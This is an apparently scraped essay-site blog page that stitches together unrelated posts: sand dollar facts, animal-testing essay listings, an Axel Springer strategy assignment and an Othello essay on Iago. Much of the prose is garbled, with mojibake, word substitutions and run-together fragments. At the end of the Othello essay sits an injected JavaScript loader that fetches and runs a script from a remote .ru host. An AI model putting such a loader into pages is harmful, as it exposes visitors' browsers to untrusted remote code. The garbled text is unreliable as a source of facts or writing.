Saturday, December 28, 2019

Amazing Sand Dollar Facts

A sand dollar (Echinarachnius parma) is an echinoid, a type of invertebrate animal whose skeletons—called tests—are commonly found on beaches the world over. The test is usually white or grayish-white, with a star-shaped marking in its center. The common name for these animals comes from their likeness to silver dollars. When they are alive, sand dollars look much different. They are covered with short, velvety spines that  are colored purple to reddish brown. Fast Facts: Sand Dollar Scientific Name: Echinarachnius parmaCommon Name(s): Common sand dollar or northern sand dollar; also known as sea cookies, snapper biscuits, sand cakes, cake urchins, or pansy shellsBasic Animal Group: InvertebrateSize: Live adult animals measure between 2–4 inches in diameter, and approximately 1/3 inch thick  Lifespan: 8–10 yearsDiet:  CarnivoreHabitat: Northern parts of the Atlantic and Pacific oceansPopulation: UnknownConservation Status: Not evaluated Description Living animals of the common sand dollar (Echinarachnius parma) species are generally sub-circular, measuring approximately 2–4 inches across, and are coated with spines that are purple, reddish-purple or brown in color. The test of the sand dollar is its endoskeleton—it is called an endoskeleton because it lies underneath the sand dollars  spines and skin, and it is made of fused calcareous plates. This is different than the skeletons of other echinoderms—sea stars, basket stars, and brittle stars have smaller plates that are flexible, and the skeleton of sea cucumbers is made up of tiny ossicles buried in the body. The top (aboral) surface of the sand dollar test  has a pattern that looks like five petals. There are five sets of tube feet that extend from these petals, which the sand dollar uses for respiration. The sand dollars anus is located at the rear of the animal—found in the edge of the test below the single vertical line extending from the center of the star. Sand dollars move by using the spines located on their underside.   Daniela Duncan / Getty Images Species Sand dollars are echinoderms, which means like sea stars, sea cucumbers, and sea urchins, they have a radiating arrangement of parts and a body wall stiffened by bony pieces such as spines. In fact, they are basically flat sea urchins and are in the same class, Echinoidea, as sea urchins. This class is divided into two groups: the regular echinoids (sea urchins and pencil urchins) and irregular echinoids (heart urchins, sea biscuits, and sand dollars). The irregular echinoids have a front, a back and basic bilateral symmetry on top of the normal pentameral symmetry (five parts around a center) that regular echinoids possess.   There are many species  of sand dollars. Besides E. parma, those found commonly in the United States include: Dendraster excentricus  (Eccentric, western, or Pacific sand dollar) are found in the Pacific Ocean from Alaska to Baja, California. These sand dollars grow to about 4 inches across and have gray, purple or blackish spines.Clypeaster subdepressus  (Sand dollar, sea biscuit) live in the Atlantic Ocean and the Caribbean Sea, from the Carolinas to Brazil.  Mellita sp. (Keyhole sand dollars or keyhole urchins) are found in tropical waters in the Atlantic, Pacific, and the Caribbean Sea. There are approximately 11 species of keyhole sand dollars. Sand dollars are classified as follows: Kingdom: AnimaliaPhylum: EchinodermataClass:  Clypeasteroida (includes sand dollars and sea biscuits) Habitat and Distribution Common sand dollars have been found throughout the North Pacific and eastern North Atlantic oceans, at locations from just below the intertidal zone to more than 7,000 feet.  As their name suggests, sand dollars prefer to live in the sand, in densities ranging between .5 and 215 per 10.7 square foot. They use their spines to burrow into the sand, where they seek protection and food.  Adult sand dollars—those over 2 inches in diameter—live in the intertidal zone. Most sand dollars live in seawater (saline environments), although some species do occur in estuarine habitats which combine of river and lake water, and are chemically distinct from saline or freshwater environments. Studies show that sand dollars require a certain level of salinity to fertilize their eggs. The sand dollar uses its spines to burrow into sand. Douglas Klug / Getty Images Diet and Behavior Sand dollars feed on small food particles in the sand, typically microscopically sized algae, but they do also eat fragments of other animals and have been classed as carnivores according to the World Register of Marine Species. The particles land on the spines, and then are transported to the sand dollars mouth by its tube feet, pedicellaria (pincers), and mucous-coated cilia. Some sea urchins rest on their edges in the sand to maximize their ability to catch prey that is floating by.   Like other sea urchins, the mouth of a sand dollar is called Aristotles lantern and is made up of five jaws. If you pick up a sand dollar test and shake it gently, you may hear the pieces of the mouth rattling inside. Reproduction and Offspring There are male and female sand dollars, although, from the outside, it is difficult to tell which is which. Reproduction is sexual and accomplished by the sand dollars releasing eggs and sperm into the water. The fertilized eggs are yellow in color and coated in a protective jelly, with an average diameter of about 135 micros, or 1/500th of an inch. They develop into tiny larvae, which feed and move using cilia. After several weeks, the larva settles to the bottom, where it metamorphoses. Juveniles (under 2 inches in diameter) are found in the subtidal zones and slowly migrate into exposed beach areas as they mature; the smallest are found in the highest beach elevations. They can bury themselves in the sand up to two inches deep, and very dense populations can stack themselves up to three animals deep. Threats Sand dollars may be affected by fishing, especially from bottom trawling, ocean acidification, which may affect the ability to form the test;  climate change, which might affect available habitat; and collection. Reduced salinity lowers fertilization rates. Although you can find plenty of information on how to preserve sand dollars, you should collect only dead sand dollars, never live ones. Sand dollars are not eaten by humans, but they can be prey for sea stars, fish, and crabs. Conservation Status The sand dollar is not currently listed as an endangered species. Sand Dollars and Humans Sand dollar tests are sold in shell shops and on the internet, for decorative purposes or souvenirs and often with a card or inscription referencing the  Legend of the Sand Dollar. Such references are associated with Christian mythology, suggesting that the five-pointed star in the center of the top of the sand dollars test is a representation of the Star of Bethlehem that guided the wise men to the baby Jesus. The five openings in the test are said to represent Jesuss wounds during his crucifixion: the four wounds in his hands and feet and the fifth in his side. On the underside of the sand dollar test, it is said that there is an outline of a Christmas poinsettia; and if you break it open, you will find five small bones that represent doves of peace. These doves are actually the five jaws of the sand dollars mouth (Aristotles lantern).   Other lore about sand dollars references the washed-up tests as mermaid coins or coins from Atlantis. Sources Allen, Jonathan D., and Jan A. Pechenik. Understanding the Effects of Low Salinity on Fertilization Success and Early Development in the Sand Dollar Echinarachnius Parma. The Biological Bulletin 218 (2010): 189–99. Print.Brown, Christopher L. Substrate Preference and Test Morphology of a Sand Dollar (Echinarachnius Parma) Population in the Gulf of Maine. Bios 54.4 (1983): 246–54. Print.Coulombe, Deborah. Seaside Naturalist: A Guide to Study at the Seashore. Simon Schuster, 1980..Echinarachnius parma (Lamarck, 1816). World Register of Marine Species.Echinarachnius parma (Lamarck 1816). Encyclopedia of Life.  Ellers, Olaf, and Malcolm Telford. Collection of Food by Oral Surface Podia in the Sand Dollar, Echinarachnius Parma (Lamarck). The Biological Bulletin 166.3 (1984): 574–82. Print.Harold, Antony S., and Malcolm Telford. Substrate Preference and Distribution of the Northern Sand Dollar, Echinarachnius Parma (Lamarck). International Echinoderms Conference. Ed . Lawrence, J.M.: A.A. Balkema, 1982. Print.Kroh, Andreas. Clypeasteroida. World Echinoidea Database, 2013.Pellissier, Hank. Local Intelligence: Sand Dollars. The New York Times, January 8, 2011. Smith, Andrew. B. Skeletal morphology of sand dollars and their relatives. The Echinoid Directory. Waggoner, Ben. Introduction to the Echinoidea. University of California Museum of Paleontology, 2001.

Friday, December 20, 2019

The Ethics Of Animal Testing - 3440 Words

Table of Contents Introduction 2 Chapter 1 – Agree with animal experiments 3 Introduction 3 Safety 3 Great contribution of animal experiments 5 Chapter 2 – Against Animal experiments 7 Introduction 7 Experiment animals have rights 7 Scientific Limitations of Using Animals 10 Conclusion 12 Reference 13 Table of figures Figure 1 – Chimpanzees are trained to be astronauts. 6 Figure 2 – monkey cages covered with waste and feces 8 Figure 3 – disabled monkeys 9 Introduction Animal experiments or laboratory animal science have been a popular controversial issue. Since the seventeenth century, there are debates on the ethics of animal testing. The ultimate goal of the development of laboratory animal science, that is, through the animal studies of the phenomenon of life itself, and then push the use of human, explore the mysteries of human life, control of human diseases and aging and prolong human life. Nowadays, Animal experiments are permitted in many countries. In the other hand, there are also many dissenting voices. They said animal testing is ‘inhumane’. It is too cruel and has potentially dangerous to human beings and Ecosystem. However, Animal experiments are generally used in the development and testing of new medicines. It is estimated worldwide that the number of vertebrate animals using for animal experiments ranges from the tens of millions to more than 100 million used annually. And Animal experiment had made a great contributi on in the field of science,Show MoreRelatedEthics of Animal Testing754 Words   |  3 PagesEthics of Animal Testing For my paper I chose the topic of animal testing because I have always been very passionate for animals and against animal abuse. I have never believed in animal testing and that there were always other alternatives. I wanted to look further into and educate myself about what is being done about this and why it is an ethical issue. I have come up with an axiom to summarize this topic. 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But, are they aware o f the accuracy of these tests? And are there other advanced options? Cosmetics are not limited to women’s make-up. They include face creams, baby oils, skin care products, deodorants, lotionsRead MoreEssay The Ethics of Medical Animal Testing1941 Words   |  8 Pageshuman race comes before any other consideration. This is the justification for the use of nonhuman animal testing in medicine. Of course this argument brings issues into play that are both ethical and professional and need exploring before a definitive answer can be given. The Rights of â€Å"Lesser Life Forms† Animals have rights. This is a statement that very few people will disagree with. Animal cruelty as an end unto itself (i.e. for entertainment) is just wrong. Short of being a sociopath IRead MoreThe Ethics of Animal Testing for Vaccine Development and Potential Alternatives 1983 Words   |  8 PagesAnimal testing is important to ensure the safety of a variety of products, specifically pharmaceuticals, vaccines, and medical devices used for surgery and other treatments. It has also been used throughout history for various purposes. Once an unregulated practice, today there are laws, regulations, and requirements associated with the ethical use of animal models. In the United States, animal studies are now required before moving on to clinical trials. Legalities aside, controversy still arisesRead MoreCost-Benefit Analysis Of The Ethics Of Animal Testing1606 Words   |  7 Pagesconsideration† view that all animals, including humans, have the same right to not suffer or b e harmed. A cost-benefit analysis justifying these types of experiments should be used to evaluate the appropriateness of using animals for the research. The United Kingdom has adopted this perspective calling for a complete ban on all experiments that cause more harm to the animals than would be of benefit to humans. The United Kingdom has historically been a leader in terms of regulating animal research and has bannedRead MoreAnimal Experimentation And Biomedical Ethics Essay1738 Words   |  7 PagesAnimal activists and scientists experience ongoing conflict between animal experimentation and biomedical ethics. Animal testing is one of the oldest methods of experimentation. In the 1980s, the animal rights movement and the argument surrounding the ethics came under fire. As a result of this movement, the experimental procedures became public, giving more incentive to the activists and momentum to their cause. The ethics of animal experimentation come into question in everything f rom beauty products

Thursday, December 12, 2019

Integrated Business Experience 1

Question: Discuss about the Integrated Business Experience 1. Answer: Introduction This assignment is based on the case study of Axel Springer, which has achieved huge success during the digital media transformation. This assignment discusses on the key strategic action taken by the CEO of Axel Springer during the period of digital transformation. At the same time, the assignment also focuses on the strategic issues faced by the company. Apart from that, the discussion on the competitors and companys strategic position has also been carried on in this assignment. Key strategic action taken by Mathias Dopfner During the period of digital transformation of print media, Mathias Dopfner, the CEO of Axel Springer took a unique strategic action, which included the process of two-stage digital transformation. In the first stage, the company took on the organic growth strategy that focused on increasing profitability and involving the process of digitization in to the culture of the organization. On the other hand, in second stage, the company took the strategy to be The Leading Digital Publisher within the industry. The digital transformation strategy took by Axel Springer was quite different from the strategies taken by the other companies in the same industry. The main difference between the strategies taken by Axel Springer and other organizations is that Axel Springer focused specially on its contents and team spirit, while, the other organizations focused specially on the distribution channels (KljajiĆ¡ and KljajiĆ¡ 2015). In 2013 to 2014, the digital transformation of Axel Springer achieved huge success within the industry. The success started on 2013, when the revenue of the company reached to $3.9 billion and EBITDA reached to $625 million. During 2014, the business of the company expanded to 44 countries and had 98 million digital visitors I worldwide basis. In 2014, it acquired many new assets and the company achieved new strategic opportunities in the international market. The main reasons behind this huge success were its strategies to accept entrepreneurial and diverse personalities, digital divisions and rejection of silos (Knoche 2015). Strategic issues faced by Axel Springer The major strategic issues that Axel Springer faces are as follows: The first issue that the organization faced is that the company fails to provide the updated news consistently. At the same time, the company does not provide the layer of stories. The company focuses more on the process of installing and transforming the print mentality to digital mentality (Vidas-Bubanja and Bubanja 2015). Another issue was regarding the expansion of business. Though the company had large coverage, still it fails to develop its business by acquiring new assets at reasonable price. The competitive market increased the value of the assets, which created a big trouble for the company to continue its business expansion (KljajiĆ¡ and KljajiĆ¡ 2015). Both of the above-mentioned issues are the strategic issue because these are related to the business operation strategy. In case of the first issue, it is related to the strategies taken by the company regarding its news contents. On the other side, in case of the second issue, it is related to the business expansion strategy of the company (Herbert 2015). These two above-mentioned strategic issues affected the business of the company. As the company failed to provide updated news on a regular basis, the interests of the customers has reduced and if it goes on, then in future, the company will lose a large number of customers. At the same time, if the company fails to expand its business by acquiring new assets, then it will be more difficult for the company to expand its business in future because the value and price of the assets may increase more (KljajiĆ¡ and KljajiĆ¡ 2015). Due to this, the company will not be able to compete with the large companies in the industry. In order to configure the issue, at first the company needs to focus on the quality of its news. The news must be updated and as per the demand of the people. At the same time, the company needs to take improved strategies other than Idealos and KaufDA for expanding its business. Type of competitors Beyond 2014, the new technology experts are in the best position to take advantage in the evolving digital world. The main reason behind this is the new technology experts have the knowledge and expertise is using advanced technology of digital media (Knoche 2015). For example, Google and Apple use advanced technology to provide the most updated news to the public as soon as possible. At the same time, the new technology experts can produce the contents as per the evolving demand of the customers. They are able to accept the change quickly. With the help of the RACE planning framework, the new technology experts can reach to huge number of customers (Hayles 2012). However, the old media content experts are not much flexible with the advanced technology. Though they are good in producing branded or rich contents, they are not efficient in accepting the rapid change in the market demand. Strategic position of Axel Springer In future, Axel Springer must be at the leading position in the marketplace. In order to achieve the leading market position, the company needs to take the following strategies: Recommendation for question 1: Axel Springer must maintain the diverse personalities, entrepreneur skills, digital divisions, and rejection of silos Recommendation for question 2: Always provide the updated news to the people. The company must change its quality of the contents and the contents must be as per the new demand in the market. Recommendation for question 3: The Company can reduce its production cost by introducing advanced technology Recommendation for question 4: In order to achieve the leading market position, the company must have the distinctive competencies like, innovative marketing, advanced but simple technology and large customer base. Conclusion In this assignment, it has identified that Axel Springer was one of the leading companies in print media until 2014. After 2014, the company started to face several strategic issues. Due to this, the company failed to improve its performance and expand its business further. The company needs to improve its content quality and introduce advanced technologies to get back the leading market position in future. Reference list: Hayles, N.K., 2012.How we think: Digital media and contemporary technogenesis. University of Chicago Press. Herbert, J., 2015.Journalism in the digital age: theory and practice for broadcast, print and online media. CRC Press. KljajiĆ¡, V. and KljajiĆ¡, M., 2015. Printed Vs On-Line Media And Challenges For Editorial Concepts: Examples Of News Magazines In Serbia.Socioloski Pregled,49(1). Knoche, M., 2015. The Media Industrys Structural Transformation in Capitalism and the Role of the State: Media Economics in the Age of Digital Communications.tripleC: Communication, Capitalism Critique. Open Access Journal for a Global Sustainable Information Society,14(1), pp.18-47. Vidas-Bubanja, M. and Bubanja, I., 2015. Competitive management strategy for print media advertising activities.Journal of Engineering Management and Competitiveness (JEMC),5(2), pp.68-76.

Wednesday, December 4, 2019

Othello Essay Research Paper A villain is free essay sample

Othello Essay, Research Paper A scoundrel is a character who uses his good name, rank, or the trust that people have for him to acquire what he wants at any cost. He normally manipulates everyone, and decease normally come to the scoundrel. He is good liked by every character, which allows him to draw off his fast ones so good and easy. He uses his friendly relationship with Othello to acquire what he wants, which is the rank of lieutenant. Iago somehow finds his manner into about every character s life and some of those characters end up dead. Throughout the class of the drama, he manipulates the head of Roderigo, doing him believe that Desdemona really has feelings for him, doing Roderigo to transport out rough actions which, under normal fortunes, he would neer see. Iago besides gets in Othello s caput and puts in the idea of Desdemona being unfaithful with Cassio. There are many more illustrations of Iago s villainousness throughout the drama. Iago s chief end throughout the drama is to someway obtain the rank of lieutenant, which he feels should hold been given to him alternatively of his friend Cassio. He begins by stating Roderigo that Desdemona, at some point, had feelings for him, that is, before she married Othello. Roderigo is heartbroken, and Iago sees his chance Begin to open up. Iago tells Roderigo to get the better of thy favour with an usurped face fungus ( 1.3. 328-329 ) and so return to Venice subsequently because Desdemona will hold lost her love for Othello. This excites Roderigo, so he believes Iago since they are good friends. Iago is now merely puting up Roderigo for another portion of his program that will take topographic point subsequently in the narrative. Roderigo does non recognize how profoundly involved Desdemona and Othello are, so he still believes he has a opportunity to hold Desdemona, if she of all time truly does tyre of Othello. Iago and Othello are really near in their friendly relationship, even though Othello chose Cassio over Iago as his lieutenant. Othello believes about anything Iago tells him because Iago has a repute of ever stating the truth. That is why Othello really begins to believe in this narrative that his married woman has non been faithful to him. Iago gets Emilia, his married woman and besides attender to Desdemona, to pick up a hankie that has been passed down from coevals to coevals in Othello s household. It represents the love that the hubby shows for his married woman, and it means a great trade to Othello. When Iago says that he has seen Cassio pass over his face fungus with that hankie, Othello makes his head up that his married woman has cheated gt ; on him. But what truly sets Othello off is when he sees Cassio transporting the hankie about. Iago says make it non with toxicant, strangle her in bed, even the bed she hath contaminated ( 4.1. 190-191 ) when stating Othello that he should kill Desdemona for what she has done. Iago now knows his program is working since Othello is really sing killing his married woman. One eventide, Iago gets Cassio rummy before he is to guard the palace. Cassio Tells Iago that I have really hapless and unhappy encephalons for imbibing. I could good wish courtesy would contrive some other usage of amusement ( 2.3. 27-29 ) because he knows he tilt imbibe a batch or he will acquire angry and violent. But this is what Iago wants so he pushed him to imbibe more and Cassio does. Soon a battle breaks out and gets out of manus so Othello enters. When honest Iago tells Othello what happened, Othello has no pick but to strip Cassio of his ranking and give it to Iago. When Iago is appointed lieutenant, he spends even more clip with the Moor and becomes a better friend to both Othello and Desdemona. Othello asks Iago how shall I slay him ( 4.1. 158 ) . Stating that he wants Cassio killed one dark, the same dark Othello is to kill Desdemona. This is the opportunity Iago has to take attention of both Roderigo and Cassio, so he has it set up to where they have a battle in the dark streets. Iago runs out of the shadows and onslaughts Cassio from behind without anyone seeing it, but Roderigo is struck with a fatal blow that kills him subsequently. The program between Othello and Iago was supposed to hold Cassio dead before Desdemona, but Othello smothered her before he received intelligence that Cassio was still alive. This is the terminal of Iago s villainousness. When Cassio and Othello meet, everyone is made cognizant of Iago s secret plan and Othello ends up killing himself and falling by his married woman side but Tells Cassio non to hold Iago killed so he can populate with the load on his chest the remainder of his life. The villainousness of Iago showed was great in the sense that he had an luxuriant program, utilizing every character in the narrative and pull stringsing their heads to the point where everyone was believing prevarications. He did all of this so that he could acquire what he wanted. However, he failed to transport out one action as he had planned and that ruined his life everlastingly. The villainousness of Iago did do a batch of desperation and cost many characters their lives, but that is what a scoundrel is. Villains do non care who they hurt or how they get at that place manner, merely every bit long as is happens and they are happy. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;